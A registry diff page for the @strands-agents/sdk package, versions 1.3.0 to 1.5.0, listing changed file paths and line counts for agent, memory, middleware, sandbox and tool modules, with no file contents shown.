@strands-agents/sdk 1.3.0 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (462) hide show
  1. package/README.md +16 -16
  2. package/dist/src/__fixtures__/agent-helpers.d.ts.map +1 -1
  3. package/dist/src/__fixtures__/agent-helpers.js +6 -0
  4. package/dist/src/__fixtures__/agent-helpers.js.map +1 -1
  5. package/dist/src/__fixtures__/register-node-defaults.d.ts +2 -0
  6. package/dist/src/__fixtures__/register-node-defaults.d.ts.map +1 -0
  7. package/dist/src/__fixtures__/register-node-defaults.js +6 -0
  8. package/dist/src/__fixtures__/register-node-defaults.js.map +1 -0
  9. package/dist/src/__fixtures__/test-sandbox.node.d.ts +15 -0
  10. package/dist/src/__fixtures__/test-sandbox.node.d.ts.map +1 -0
  11. package/dist/src/__fixtures__/test-sandbox.node.js +23 -0
  12. package/dist/src/__fixtures__/test-sandbox.node.js.map +1 -0
  13. package/dist/src/__tests__/default-slot.test.d.ts +2 -0
  14. package/dist/src/__tests__/default-slot.test.d.ts.map +1 -0
  15. package/dist/src/__tests__/default-slot.test.js +33 -0
  16. package/dist/src/__tests__/default-slot.test.js.map +1 -0
  17. package/dist/src/__tests__/mcp.test.js +14 -14
  18. package/dist/src/__tests__/mcp.test.js.map +1 -1
  19. package/dist/src/a2a/__tests__/async-lock.test.d.ts +2 -0
  20. package/dist/src/a2a/__tests__/async-lock.test.d.ts.map +1 -0
  21. package/dist/src/a2a/__tests__/async-lock.test.js +137 -0
  22. package/dist/src/a2a/__tests__/async-lock.test.js.map +1 -0
  23. package/dist/src/a2a/__tests__/executor.test.js +146 -8
  24. package/dist/src/a2a/__tests__/executor.test.js.map +1 -1
  25. package/dist/src/a2a/__tests__/server.test.js +20 -0
  26. package/dist/src/a2a/__tests__/server.test.js.map +1 -1
  27. package/dist/src/a2a/async-lock.d.ts +22 -0
  28. package/dist/src/a2a/async-lock.d.ts.map +1 -0
  29. package/dist/src/a2a/async-lock.js +38 -0
  30. package/dist/src/a2a/async-lock.js.map +1 -0
  31. package/dist/src/a2a/executor.d.ts +59 -24
  32. package/dist/src/a2a/executor.d.ts.map +1 -1
  33. package/dist/src/a2a/executor.js +209 -32
  34. package/dist/src/a2a/executor.js.map +1 -1
  35. package/dist/src/a2a/index.d.ts +1 -1
  36. package/dist/src/a2a/index.d.ts.map +1 -1
  37. package/dist/src/a2a/index.js +1 -1
  38. package/dist/src/a2a/index.js.map +1 -1
  39. package/dist/src/a2a/server.d.ts +18 -2
  40. package/dist/src/a2a/server.d.ts.map +1 -1
  41. package/dist/src/a2a/server.js +13 -2
  42. package/dist/src/a2a/server.js.map +1 -1
  43. package/dist/src/agent/__tests__/agent.context-manager.test.d.ts +2 -0
  44. package/dist/src/agent/__tests__/agent.context-manager.test.d.ts.map +1 -0
  45. package/dist/src/agent/__tests__/agent.context-manager.test.js +107 -0
  46. package/dist/src/agent/__tests__/agent.context-manager.test.js.map +1 -0
  47. package/dist/src/agent/__tests__/agent.test.js +195 -0
  48. package/dist/src/agent/__tests__/agent.test.js.map +1 -1
  49. package/dist/src/agent/__tests__/agent.tracer.test.node.js +14 -0
  50. package/dist/src/agent/__tests__/agent.tracer.test.node.js.map +1 -1
  51. package/dist/src/agent/__tests__/tool-caller.test.d.ts +2 -0
  52. package/dist/src/agent/__tests__/tool-caller.test.d.ts.map +1 -0
  53. package/dist/src/agent/__tests__/tool-caller.test.js +459 -0
  54. package/dist/src/agent/__tests__/tool-caller.test.js.map +1 -0
  55. package/dist/src/agent/agent.d.ts +194 -4
  56. package/dist/src/agent/agent.d.ts.map +1 -1
  57. package/dist/src/agent/agent.js +599 -253
  58. package/dist/src/agent/agent.js.map +1 -1
  59. package/dist/src/agent/tool-caller.d.ts +149 -0
  60. package/dist/src/agent/tool-caller.d.ts.map +1 -0
  61. package/dist/src/agent/tool-caller.js +198 -0
  62. package/dist/src/agent/tool-caller.js.map +1 -0
  63. package/dist/src/conversation-manager/__tests__/pin.test.d.ts +2 -0
  64. package/dist/src/conversation-manager/__tests__/pin.test.d.ts.map +1 -0
  65. package/dist/src/conversation-manager/__tests__/pin.test.js +119 -0
  66. package/dist/src/conversation-manager/__tests__/pin.test.js.map +1 -0
  67. package/dist/src/conversation-manager/__tests__/sliding-window-conversation-manager.test.js +49 -0
  68. package/dist/src/conversation-manager/__tests__/sliding-window-conversation-manager.test.js.map +1 -1
  69. package/dist/src/conversation-manager/__tests__/summarizing-conversation-manager.test.js +58 -0
  70. package/dist/src/conversation-manager/__tests__/summarizing-conversation-manager.test.js.map +1 -1
  71. package/dist/src/conversation-manager/pin-message.d.ts +45 -0
  72. package/dist/src/conversation-manager/pin-message.d.ts.map +1 -0
  73. package/dist/src/conversation-manager/pin-message.js +106 -0
  74. package/dist/src/conversation-manager/pin-message.js.map +1 -0
  75. package/dist/src/conversation-manager/sliding-window-conversation-manager.d.ts +7 -0
  76. package/dist/src/conversation-manager/sliding-window-conversation-manager.d.ts.map +1 -1
  77. package/dist/src/conversation-manager/sliding-window-conversation-manager.js +27 -4
  78. package/dist/src/conversation-manager/sliding-window-conversation-manager.js.map +1 -1
  79. package/dist/src/conversation-manager/summarizing-conversation-manager.d.ts +7 -0
  80. package/dist/src/conversation-manager/summarizing-conversation-manager.d.ts.map +1 -1
  81. package/dist/src/conversation-manager/summarizing-conversation-manager.js +18 -4
  82. package/dist/src/conversation-manager/summarizing-conversation-manager.js.map +1 -1
  83. package/dist/src/default-slot.d.ts +6 -0
  84. package/dist/src/default-slot.d.ts.map +1 -0
  85. package/dist/src/default-slot.js +18 -0
  86. package/dist/src/default-slot.js.map +1 -0
  87. package/dist/src/errors.d.ts +25 -0
  88. package/dist/src/errors.d.ts.map +1 -1
  89. package/dist/src/errors.js +32 -0
  90. package/dist/src/errors.js.map +1 -1
  91. package/dist/src/index.d.ts +15 -3
  92. package/dist/src/index.d.ts.map +1 -1
  93. package/dist/src/index.js +10 -1
  94. package/dist/src/index.js.map +1 -1
  95. package/dist/src/index.node.d.ts +2 -0
  96. package/dist/src/index.node.d.ts.map +1 -0
  97. package/dist/src/index.node.js +9 -0
  98. package/dist/src/index.node.js.map +1 -0
  99. package/dist/src/interrupt.d.ts +5 -1
  100. package/dist/src/interrupt.d.ts.map +1 -1
  101. package/dist/src/interrupt.js +6 -0
  102. package/dist/src/interrupt.js.map +1 -1
  103. package/dist/src/interventions/handler.d.ts +1 -2
  104. package/dist/src/interventions/handler.d.ts.map +1 -1
  105. package/dist/src/interventions/registry.d.ts +2 -0
  106. package/dist/src/interventions/registry.d.ts.map +1 -1
  107. package/dist/src/interventions/registry.js +4 -0
  108. package/dist/src/interventions/registry.js.map +1 -1
  109. package/dist/src/mcp.d.ts +20 -15
  110. package/dist/src/mcp.d.ts.map +1 -1
  111. package/dist/src/mcp.js +15 -8
  112. package/dist/src/mcp.js.map +1 -1
  113. package/dist/src/memory/__tests__/memory-manager.test.d.ts +2 -0
  114. package/dist/src/memory/__tests__/memory-manager.test.d.ts.map +1 -0
  115. package/dist/src/memory/__tests__/memory-manager.test.js +493 -0
  116. package/dist/src/memory/__tests__/memory-manager.test.js.map +1 -0
  117. package/dist/src/memory/extraction/__tests__/extraction.test.d.ts +2 -0
  118. package/dist/src/memory/extraction/__tests__/extraction.test.d.ts.map +1 -0
  119. package/dist/src/memory/extraction/__tests__/extraction.test.js +637 -0
  120. package/dist/src/memory/extraction/__tests__/extraction.test.js.map +1 -0
  121. package/dist/src/memory/extraction/__tests__/model-extractor.test.d.ts +2 -0
  122. package/dist/src/memory/extraction/__tests__/model-extractor.test.d.ts.map +1 -0
  123. package/dist/src/memory/extraction/__tests__/model-extractor.test.js +68 -0
  124. package/dist/src/memory/extraction/__tests__/model-extractor.test.js.map +1 -0
  125. package/dist/src/memory/extraction/__tests__/resolve-extraction-config.test.d.ts +2 -0
  126. package/dist/src/memory/extraction/__tests__/resolve-extraction-config.test.d.ts.map +1 -0
  127. package/dist/src/memory/extraction/__tests__/resolve-extraction-config.test.js +81 -0
  128. package/dist/src/memory/extraction/__tests__/resolve-extraction-config.test.js.map +1 -0
  129. package/dist/src/memory/extraction/coordinator.d.ts +128 -0
  130. package/dist/src/memory/extraction/coordinator.d.ts.map +1 -0
  131. package/dist/src/memory/extraction/coordinator.js +245 -0
  132. package/dist/src/memory/extraction/coordinator.js.map +1 -0
  133. package/dist/src/memory/extraction/model-extractor.d.ts +32 -0
  134. package/dist/src/memory/extraction/model-extractor.d.ts.map +1 -0
  135. package/dist/src/memory/extraction/model-extractor.js +118 -0
  136. package/dist/src/memory/extraction/model-extractor.js.map +1 -0
  137. package/dist/src/memory/extraction/resolve-extraction-config.d.ts +46 -0
  138. package/dist/src/memory/extraction/resolve-extraction-config.d.ts.map +1 -0
  139. package/dist/src/memory/extraction/resolve-extraction-config.js +59 -0
  140. package/dist/src/memory/extraction/resolve-extraction-config.js.map +1 -0
  141. package/dist/src/memory/extraction/triggers.d.ts +41 -0
  142. package/dist/src/memory/extraction/triggers.d.ts.map +1 -0
  143. package/dist/src/memory/extraction/triggers.js +59 -0
  144. package/dist/src/memory/extraction/triggers.js.map +1 -0
  145. package/dist/src/memory/extraction/types.d.ts +133 -0
  146. package/dist/src/memory/extraction/types.d.ts.map +1 -0
  147. package/dist/src/memory/extraction/types.js +19 -0
  148. package/dist/src/memory/extraction/types.js.map +1 -0
  149. package/dist/src/memory/index.d.ts +9 -0
  150. package/dist/src/memory/index.d.ts.map +1 -0
  151. package/dist/src/memory/index.js +5 -0
  152. package/dist/src/memory/index.js.map +1 -0
  153. package/dist/src/memory/memory-manager.d.ts +131 -0
  154. package/dist/src/memory/memory-manager.d.ts.map +1 -0
  155. package/dist/src/memory/memory-manager.js +404 -0
  156. package/dist/src/memory/memory-manager.js.map +1 -0
  157. package/dist/src/memory/types.d.ts +213 -0
  158. package/dist/src/memory/types.d.ts.map +1 -0
  159. package/dist/src/memory/types.js +2 -0
  160. package/dist/src/memory/types.js.map +1 -0
  161. package/dist/src/middleware/__tests__/agent-middleware.test.d.ts +2 -0
  162. package/dist/src/middleware/__tests__/agent-middleware.test.d.ts.map +1 -0
  163. package/dist/src/middleware/__tests__/agent-middleware.test.js +1207 -0
  164. package/dist/src/middleware/__tests__/agent-middleware.test.js.map +1 -0
  165. package/dist/src/middleware/__tests__/custom-stages.test.d.ts +2 -0
  166. package/dist/src/middleware/__tests__/custom-stages.test.d.ts.map +1 -0
  167. package/dist/src/middleware/__tests__/custom-stages.test.js +97 -0
  168. package/dist/src/middleware/__tests__/custom-stages.test.js.map +1 -0
  169. package/dist/src/middleware/__tests__/middleware-interrupts.test.d.ts +2 -0
  170. package/dist/src/middleware/__tests__/middleware-interrupts.test.d.ts.map +1 -0
  171. package/dist/src/middleware/__tests__/middleware-interrupts.test.js +267 -0
  172. package/dist/src/middleware/__tests__/middleware-interrupts.test.js.map +1 -0
  173. package/dist/src/middleware/__tests__/registry.test.d.ts +2 -0
  174. package/dist/src/middleware/__tests__/registry.test.d.ts.map +1 -0
  175. package/dist/src/middleware/__tests__/registry.test.js +525 -0
  176. package/dist/src/middleware/__tests__/registry.test.js.map +1 -0
  177. package/dist/src/middleware/index.d.ts +5 -0
  178. package/dist/src/middleware/index.d.ts.map +1 -0
  179. package/dist/src/middleware/index.js +3 -0
  180. package/dist/src/middleware/index.js.map +1 -0
  181. package/dist/src/middleware/registry.d.ts +58 -0
  182. package/dist/src/middleware/registry.d.ts.map +1 -0
  183. package/dist/src/middleware/registry.js +107 -0
  184. package/dist/src/middleware/registry.js.map +1 -0
  185. package/dist/src/middleware/stages.d.ts +138 -0
  186. package/dist/src/middleware/stages.d.ts.map +1 -0
  187. package/dist/src/middleware/stages.js +31 -0
  188. package/dist/src/middleware/stages.js.map +1 -0
  189. package/dist/src/middleware/types.d.ts +88 -0
  190. package/dist/src/middleware/types.d.ts.map +1 -0
  191. package/dist/src/middleware/types.js +2 -0
  192. package/dist/src/middleware/types.js.map +1 -0
  193. package/dist/src/models/__tests__/anthropic.test.js +37 -7
  194. package/dist/src/models/__tests__/anthropic.test.js.map +1 -1
  195. package/dist/src/models/__tests__/bedrock.test.js +181 -0
  196. package/dist/src/models/__tests__/bedrock.test.js.map +1 -1
  197. package/dist/src/models/__tests__/model.test.js +46 -3
  198. package/dist/src/models/__tests__/model.test.js.map +1 -1
  199. package/dist/src/models/anthropic.d.ts.map +1 -1
  200. package/dist/src/models/anthropic.js +7 -4
  201. package/dist/src/models/anthropic.js.map +1 -1
  202. package/dist/src/models/bedrock.d.ts +26 -1
  203. package/dist/src/models/bedrock.d.ts.map +1 -1
  204. package/dist/src/models/bedrock.js +34 -9
  205. package/dist/src/models/bedrock.js.map +1 -1
  206. package/dist/src/models/defaults.d.ts.map +1 -1
  207. package/dist/src/models/defaults.js +2 -0
  208. package/dist/src/models/defaults.js.map +1 -1
  209. package/dist/src/models/model.d.ts.map +1 -1
  210. package/dist/src/models/model.js +7 -3
  211. package/dist/src/models/model.js.map +1 -1
  212. package/dist/src/models/openai/__tests__/chat.test.js +2 -10
  213. package/dist/src/models/openai/__tests__/chat.test.js.map +1 -1
  214. package/dist/src/models/openai/__tests__/errors.test.d.ts +2 -0
  215. package/dist/src/models/openai/__tests__/errors.test.d.ts.map +1 -0
  216. package/dist/src/models/openai/__tests__/errors.test.js +30 -0
  217. package/dist/src/models/openai/__tests__/errors.test.js.map +1 -0
  218. package/dist/src/models/openai/__tests__/responses.test.js +8 -33
  219. package/dist/src/models/openai/__tests__/responses.test.js.map +1 -1
  220. package/dist/src/models/openai/errors.d.ts.map +1 -1
  221. package/dist/src/models/openai/errors.js +5 -3
  222. package/dist/src/models/openai/errors.js.map +1 -1
  223. package/dist/src/multiagent/__tests__/nodes.test.js +50 -0
  224. package/dist/src/multiagent/__tests__/nodes.test.js.map +1 -1
  225. package/dist/src/multiagent/nodes.d.ts +23 -2
  226. package/dist/src/multiagent/nodes.d.ts.map +1 -1
  227. package/dist/src/multiagent/nodes.js +18 -4
  228. package/dist/src/multiagent/nodes.js.map +1 -1
  229. package/dist/src/registry/__tests__/tool-registry.test.js +50 -1
  230. package/dist/src/registry/__tests__/tool-registry.test.js.map +1 -1
  231. package/dist/src/registry/tool-registry.d.ts +13 -0
  232. package/dist/src/registry/tool-registry.d.ts.map +1 -1
  233. package/dist/src/registry/tool-registry.js +35 -1
  234. package/dist/src/registry/tool-registry.js.map +1 -1
  235. package/dist/src/sandbox/__tests__/default.test.browser.d.ts +2 -0
  236. package/dist/src/sandbox/__tests__/default.test.browser.d.ts.map +1 -0
  237. package/dist/src/sandbox/__tests__/default.test.browser.js +11 -0
  238. package/dist/src/sandbox/__tests__/default.test.browser.js.map +1 -0
  239. package/dist/src/sandbox/__tests__/default.test.node.d.ts +2 -0
  240. package/dist/src/sandbox/__tests__/default.test.node.d.ts.map +1 -0
  241. package/dist/src/sandbox/__tests__/default.test.node.js +23 -0
  242. package/dist/src/sandbox/__tests__/default.test.node.js.map +1 -0
  243. package/dist/src/sandbox/__tests__/docker.test.node.d.ts +2 -0
  244. package/dist/src/sandbox/__tests__/docker.test.node.d.ts.map +1 -0
  245. package/dist/src/sandbox/__tests__/docker.test.node.js +89 -0
  246. package/dist/src/sandbox/__tests__/docker.test.node.js.map +1 -0
  247. package/dist/src/sandbox/__tests__/errors.test.node.d.ts +2 -0
  248. package/dist/src/sandbox/__tests__/errors.test.node.d.ts.map +1 -0
  249. package/dist/src/sandbox/__tests__/errors.test.node.js +33 -0
  250. package/dist/src/sandbox/__tests__/errors.test.node.js.map +1 -0
  251. package/dist/src/sandbox/__tests__/not-a-sandbox-local-environment.test.node.d.ts +2 -0
  252. package/dist/src/sandbox/__tests__/not-a-sandbox-local-environment.test.node.d.ts.map +1 -0
  253. package/dist/src/sandbox/__tests__/not-a-sandbox-local-environment.test.node.js +124 -0
  254. package/dist/src/sandbox/__tests__/not-a-sandbox-local-environment.test.node.js.map +1 -0
  255. package/dist/src/sandbox/__tests__/posix-shell.test.node.d.ts +2 -0
  256. package/dist/src/sandbox/__tests__/posix-shell.test.node.d.ts.map +1 -0
  257. package/dist/src/sandbox/__tests__/posix-shell.test.node.js +298 -0
  258. package/dist/src/sandbox/__tests__/posix-shell.test.node.js.map +1 -0
  259. package/dist/src/sandbox/__tests__/ssh.test.node.d.ts +2 -0
  260. package/dist/src/sandbox/__tests__/ssh.test.node.d.ts.map +1 -0
  261. package/dist/src/sandbox/__tests__/ssh.test.node.js +262 -0
  262. package/dist/src/sandbox/__tests__/ssh.test.node.js.map +1 -0
  263. package/dist/src/sandbox/base.d.ts +156 -0
  264. package/dist/src/sandbox/base.d.ts.map +1 -0
  265. package/dist/src/sandbox/base.js +97 -0
  266. package/dist/src/sandbox/base.js.map +1 -0
  267. package/dist/src/sandbox/constants.d.ts +25 -0
  268. package/dist/src/sandbox/constants.d.ts.map +1 -0
  269. package/dist/src/sandbox/constants.js +27 -0
  270. package/dist/src/sandbox/constants.js.map +1 -0
  271. package/dist/src/sandbox/default.d.ts +3 -0
  272. package/dist/src/sandbox/default.d.ts.map +1 -0
  273. package/dist/src/sandbox/default.js +3 -0
  274. package/dist/src/sandbox/default.js.map +1 -0
  275. package/dist/src/sandbox/docker.d.ts +38 -0
  276. package/dist/src/sandbox/docker.d.ts.map +1 -0
  277. package/dist/src/sandbox/docker.js +59 -0
  278. package/dist/src/sandbox/docker.js.map +1 -0
  279. package/dist/src/sandbox/errors.d.ts +26 -0
  280. package/dist/src/sandbox/errors.d.ts.map +1 -0
  281. package/dist/src/sandbox/errors.js +35 -0
  282. package/dist/src/sandbox/errors.js.map +1 -0
  283. package/dist/src/sandbox/index.d.ts +5 -0
  284. package/dist/src/sandbox/index.d.ts.map +1 -0
  285. package/dist/src/sandbox/index.js +4 -0
  286. package/dist/src/sandbox/index.js.map +1 -0
  287. package/dist/src/sandbox/not-a-sandbox-local-environment.d.ts +16 -0
  288. package/dist/src/sandbox/not-a-sandbox-local-environment.d.ts.map +1 -0
  289. package/dist/src/sandbox/not-a-sandbox-local-environment.js +83 -0
  290. package/dist/src/sandbox/not-a-sandbox-local-environment.js.map +1 -0
  291. package/dist/src/sandbox/posix-shell.d.ts +53 -0
  292. package/dist/src/sandbox/posix-shell.d.ts.map +1 -0
  293. package/dist/src/sandbox/posix-shell.js +116 -0
  294. package/dist/src/sandbox/posix-shell.js.map +1 -0
  295. package/dist/src/sandbox/ssh.d.ts +56 -0
  296. package/dist/src/sandbox/ssh.d.ts.map +1 -0
  297. package/dist/src/sandbox/ssh.js +119 -0
  298. package/dist/src/sandbox/ssh.js.map +1 -0
  299. package/dist/src/sandbox/stream-process.d.ts +32 -0
  300. package/dist/src/sandbox/stream-process.d.ts.map +1 -0
  301. package/dist/src/sandbox/stream-process.js +161 -0
  302. package/dist/src/sandbox/stream-process.js.map +1 -0
  303. package/dist/src/sandbox/types.d.ts +57 -0
  304. package/dist/src/sandbox/types.d.ts.map +1 -0
  305. package/dist/src/sandbox/types.js +8 -0
  306. package/dist/src/sandbox/types.js.map +1 -0
  307. package/dist/src/telemetry/__tests__/meter.test.js +11 -0
  308. package/dist/src/telemetry/__tests__/meter.test.js.map +1 -1
  309. package/dist/src/telemetry/meter.d.ts +10 -6
  310. package/dist/src/telemetry/meter.d.ts.map +1 -1
  311. package/dist/src/telemetry/meter.js +16 -3
  312. package/dist/src/telemetry/meter.js.map +1 -1
  313. package/dist/src/tsconfig.tsbuildinfo +1 -1
  314. package/dist/src/types/__tests__/messages.test.js +28 -0
  315. package/dist/src/types/__tests__/messages.test.js.map +1 -1
  316. package/dist/src/types/agent.d.ts +72 -0
  317. package/dist/src/types/agent.d.ts.map +1 -1
  318. package/dist/src/types/agent.js.map +1 -1
  319. package/dist/src/types/lifecycle-observer.d.ts +18 -0
  320. package/dist/src/types/lifecycle-observer.d.ts.map +1 -0
  321. package/dist/src/types/lifecycle-observer.js +2 -0
  322. package/dist/src/types/lifecycle-observer.js.map +1 -0
  323. package/dist/src/types/messages.d.ts +19 -3
  324. package/dist/src/types/messages.d.ts.map +1 -1
  325. package/dist/src/types/messages.js +9 -0
  326. package/dist/src/types/messages.js.map +1 -1
  327. package/dist/src/vended-interventions/hitl/__tests__/hitl.test.d.ts +2 -0
  328. package/dist/src/vended-interventions/hitl/__tests__/hitl.test.d.ts.map +1 -0
  329. package/dist/src/vended-interventions/hitl/__tests__/hitl.test.js +358 -0
  330. package/dist/src/vended-interventions/hitl/__tests__/hitl.test.js.map +1 -0
  331. package/dist/src/vended-interventions/hitl/hitl.d.ts +115 -0
  332. package/dist/src/vended-interventions/hitl/hitl.d.ts.map +1 -0
  333. package/dist/src/vended-interventions/hitl/hitl.js +138 -0
  334. package/dist/src/vended-interventions/hitl/hitl.js.map +1 -0
  335. package/dist/src/vended-interventions/hitl/index.d.ts +24 -0
  336. package/dist/src/vended-interventions/hitl/index.d.ts.map +1 -0
  337. package/dist/src/vended-interventions/hitl/index.js +23 -0
  338. package/dist/src/vended-interventions/hitl/index.js.map +1 -0
  339. package/dist/src/vended-interventions/steering/__tests__/handler.test.d.ts +2 -0
  340. package/dist/src/vended-interventions/steering/__tests__/handler.test.d.ts.map +1 -0
  341. package/dist/src/vended-interventions/steering/__tests__/handler.test.js +163 -0
  342. package/dist/src/vended-interventions/steering/__tests__/handler.test.js.map +1 -0
  343. package/dist/src/vended-interventions/steering/__tests__/llm.test.d.ts +2 -0
  344. package/dist/src/vended-interventions/steering/__tests__/llm.test.d.ts.map +1 -0
  345. package/dist/src/vended-interventions/steering/__tests__/llm.test.js +60 -0
  346. package/dist/src/vended-interventions/steering/__tests__/llm.test.js.map +1 -0
  347. package/dist/src/vended-interventions/steering/__tests__/tool-ledger.test.d.ts +2 -0
  348. package/dist/src/vended-interventions/steering/__tests__/tool-ledger.test.d.ts.map +1 -0
  349. package/dist/src/vended-interventions/steering/__tests__/tool-ledger.test.js +94 -0
  350. package/dist/src/vended-interventions/steering/__tests__/tool-ledger.test.js.map +1 -0
  351. package/dist/src/vended-interventions/steering/handlers/handler.d.ts +64 -0
  352. package/dist/src/vended-interventions/steering/handlers/handler.d.ts.map +1 -0
  353. package/dist/src/vended-interventions/steering/handlers/handler.js +71 -0
  354. package/dist/src/vended-interventions/steering/handlers/handler.js.map +1 -0
  355. package/dist/src/vended-interventions/steering/handlers/llm.d.ts +72 -0
  356. package/dist/src/vended-interventions/steering/handlers/llm.d.ts.map +1 -0
  357. package/dist/src/vended-interventions/steering/handlers/llm.js +177 -0
  358. package/dist/src/vended-interventions/steering/handlers/llm.js.map +1 -0
  359. package/dist/src/vended-interventions/steering/index.d.ts +31 -0
  360. package/dist/src/vended-interventions/steering/index.d.ts.map +1 -0
  361. package/dist/src/vended-interventions/steering/index.js +32 -0
  362. package/dist/src/vended-interventions/steering/index.js.map +1 -0
  363. package/dist/src/vended-interventions/steering/providers/context-provider.d.ts +55 -0
  364. package/dist/src/vended-interventions/steering/providers/context-provider.d.ts.map +1 -0
  365. package/dist/src/vended-interventions/steering/providers/context-provider.js +8 -0
  366. package/dist/src/vended-interventions/steering/providers/context-provider.js.map +1 -0
  367. package/dist/src/vended-interventions/steering/providers/tool-ledger.d.ts +49 -0
  368. package/dist/src/vended-interventions/steering/providers/tool-ledger.d.ts.map +1 -0
  369. package/dist/src/vended-interventions/steering/providers/tool-ledger.js +75 -0
  370. package/dist/src/vended-interventions/steering/providers/tool-ledger.js.map +1 -0
  371. package/dist/src/vended-memory-stores/bedrock-knowledge-base/__tests__/bedrock-knowledge-base-store.test.d.ts +2 -0
  372. package/dist/src/vended-memory-stores/bedrock-knowledge-base/__tests__/bedrock-knowledge-base-store.test.d.ts.map +1 -0
  373. package/dist/src/vended-memory-stores/bedrock-knowledge-base/__tests__/bedrock-knowledge-base-store.test.js +611 -0
  374. package/dist/src/vended-memory-stores/bedrock-knowledge-base/__tests__/bedrock-knowledge-base-store.test.js.map +1 -0
  375. package/dist/src/vended-memory-stores/bedrock-knowledge-base/index.d.ts +2 -0
  376. package/dist/src/vended-memory-stores/bedrock-knowledge-base/index.d.ts.map +1 -0
  377. package/dist/src/vended-memory-stores/bedrock-knowledge-base/index.js +2 -0
  378. package/dist/src/vended-memory-stores/bedrock-knowledge-base/index.js.map +1 -0
  379. package/dist/src/vended-memory-stores/bedrock-knowledge-base/store.d.ts +230 -0
  380. package/dist/src/vended-memory-stores/bedrock-knowledge-base/store.d.ts.map +1 -0
  381. package/dist/src/vended-memory-stores/bedrock-knowledge-base/store.js +370 -0
  382. package/dist/src/vended-memory-stores/bedrock-knowledge-base/store.js.map +1 -0
  383. package/dist/src/vended-plugins/context-offloader/__tests__/file-storage-sandbox.test.node.d.ts +2 -0
  384. package/dist/src/vended-plugins/context-offloader/__tests__/file-storage-sandbox.test.node.d.ts.map +1 -0
  385. package/dist/src/vended-plugins/context-offloader/__tests__/file-storage-sandbox.test.node.js +68 -0
  386. package/dist/src/vended-plugins/context-offloader/__tests__/file-storage-sandbox.test.node.js.map +1 -0
  387. package/dist/src/vended-plugins/context-offloader/__tests__/plugin.test.node.d.ts +2 -0
  388. package/dist/src/vended-plugins/context-offloader/__tests__/plugin.test.node.d.ts.map +1 -0
  389. package/dist/src/vended-plugins/context-offloader/__tests__/plugin.test.node.js +93 -0
  390. package/dist/src/vended-plugins/context-offloader/__tests__/plugin.test.node.js.map +1 -0
  391. package/dist/src/vended-plugins/context-offloader/index.d.ts +1 -1
  392. package/dist/src/vended-plugins/context-offloader/index.d.ts.map +1 -1
  393. package/dist/src/vended-plugins/context-offloader/plugin.d.ts +4 -1
  394. package/dist/src/vended-plugins/context-offloader/plugin.d.ts.map +1 -1
  395. package/dist/src/vended-plugins/context-offloader/plugin.js +29 -7
  396. package/dist/src/vended-plugins/context-offloader/plugin.js.map +1 -1
  397. package/dist/src/vended-plugins/context-offloader/search.d.ts.map +1 -1
  398. package/dist/src/vended-plugins/context-offloader/search.js +3 -5
  399. package/dist/src/vended-plugins/context-offloader/search.js.map +1 -1
  400. package/dist/src/vended-plugins/context-offloader/storage.d.ts +29 -5
  401. package/dist/src/vended-plugins/context-offloader/storage.d.ts.map +1 -1
  402. package/dist/src/vended-plugins/context-offloader/storage.js +75 -11
  403. package/dist/src/vended-plugins/context-offloader/storage.js.map +1 -1
  404. package/dist/src/vended-plugins/goal/__tests__/plugin.test.d.ts +2 -0
  405. package/dist/src/vended-plugins/goal/__tests__/plugin.test.d.ts.map +1 -0
  406. package/dist/src/vended-plugins/goal/__tests__/plugin.test.js +736 -0
  407. package/dist/src/vended-plugins/goal/__tests__/plugin.test.js.map +1 -0
  408. package/dist/src/vended-plugins/goal/index.d.ts +21 -0
  409. package/dist/src/vended-plugins/goal/index.d.ts.map +1 -0
  410. package/dist/src/vended-plugins/goal/index.js +20 -0
  411. package/dist/src/vended-plugins/goal/index.js.map +1 -0
  412. package/dist/src/vended-plugins/goal/judge.d.ts +41 -0
  413. package/dist/src/vended-plugins/goal/judge.d.ts.map +1 -0
  414. package/dist/src/vended-plugins/goal/judge.js +92 -0
  415. package/dist/src/vended-plugins/goal/judge.js.map +1 -0
  416. package/dist/src/vended-plugins/goal/plugin.d.ts +214 -0
  417. package/dist/src/vended-plugins/goal/plugin.d.ts.map +1 -0
  418. package/dist/src/vended-plugins/goal/plugin.js +287 -0
  419. package/dist/src/vended-plugins/goal/plugin.js.map +1 -0
  420. package/dist/src/vended-plugins/index.d.ts +12 -0
  421. package/dist/src/vended-plugins/index.d.ts.map +1 -0
  422. package/dist/src/vended-plugins/index.js +12 -0
  423. package/dist/src/vended-plugins/index.js.map +1 -0
  424. package/dist/src/vended-plugins/skills/__tests__/agent-skills.test.node.js +17 -7
  425. package/dist/src/vended-plugins/skills/__tests__/agent-skills.test.node.js.map +1 -1
  426. package/dist/src/vended-plugins/skills/agent-skills.d.ts +21 -7
  427. package/dist/src/vended-plugins/skills/agent-skills.d.ts.map +1 -1
  428. package/dist/src/vended-plugins/skills/agent-skills.js +144 -77
  429. package/dist/src/vended-plugins/skills/agent-skills.js.map +1 -1
  430. package/dist/src/vended-tools/bash/__tests__/bash.test.node.js +44 -4
  431. package/dist/src/vended-tools/bash/__tests__/bash.test.node.js.map +1 -1
  432. package/dist/src/vended-tools/bash/bash.d.ts +3 -24
  433. package/dist/src/vended-tools/bash/bash.d.ts.map +1 -1
  434. package/dist/src/vended-tools/bash/bash.js +9 -9
  435. package/dist/src/vended-tools/bash/bash.js.map +1 -1
  436. package/dist/src/vended-tools/bash/index.d.ts +3 -1
  437. package/dist/src/vended-tools/bash/index.d.ts.map +1 -1
  438. package/dist/src/vended-tools/bash/index.js +2 -1
  439. package/dist/src/vended-tools/bash/index.js.map +1 -1
  440. package/dist/src/vended-tools/bash/make-bash.d.ts +22 -0
  441. package/dist/src/vended-tools/bash/make-bash.d.ts.map +1 -0
  442. package/dist/src/vended-tools/bash/make-bash.js +40 -0
  443. package/dist/src/vended-tools/bash/make-bash.js.map +1 -0
  444. package/dist/src/vended-tools/bash/types.d.ts +1 -0
  445. package/dist/src/vended-tools/bash/types.d.ts.map +1 -1
  446. package/dist/src/vended-tools/bash/types.js +2 -0
  447. package/dist/src/vended-tools/bash/types.js.map +1 -1
  448. package/dist/src/vended-tools/file-editor/__tests__/file-editor.test.node.js +83 -1
  449. package/dist/src/vended-tools/file-editor/__tests__/file-editor.test.node.js.map +1 -1
  450. package/dist/src/vended-tools/file-editor/file-editor.d.ts +19 -10
  451. package/dist/src/vended-tools/file-editor/file-editor.d.ts.map +1 -1
  452. package/dist/src/vended-tools/file-editor/file-editor.js +188 -218
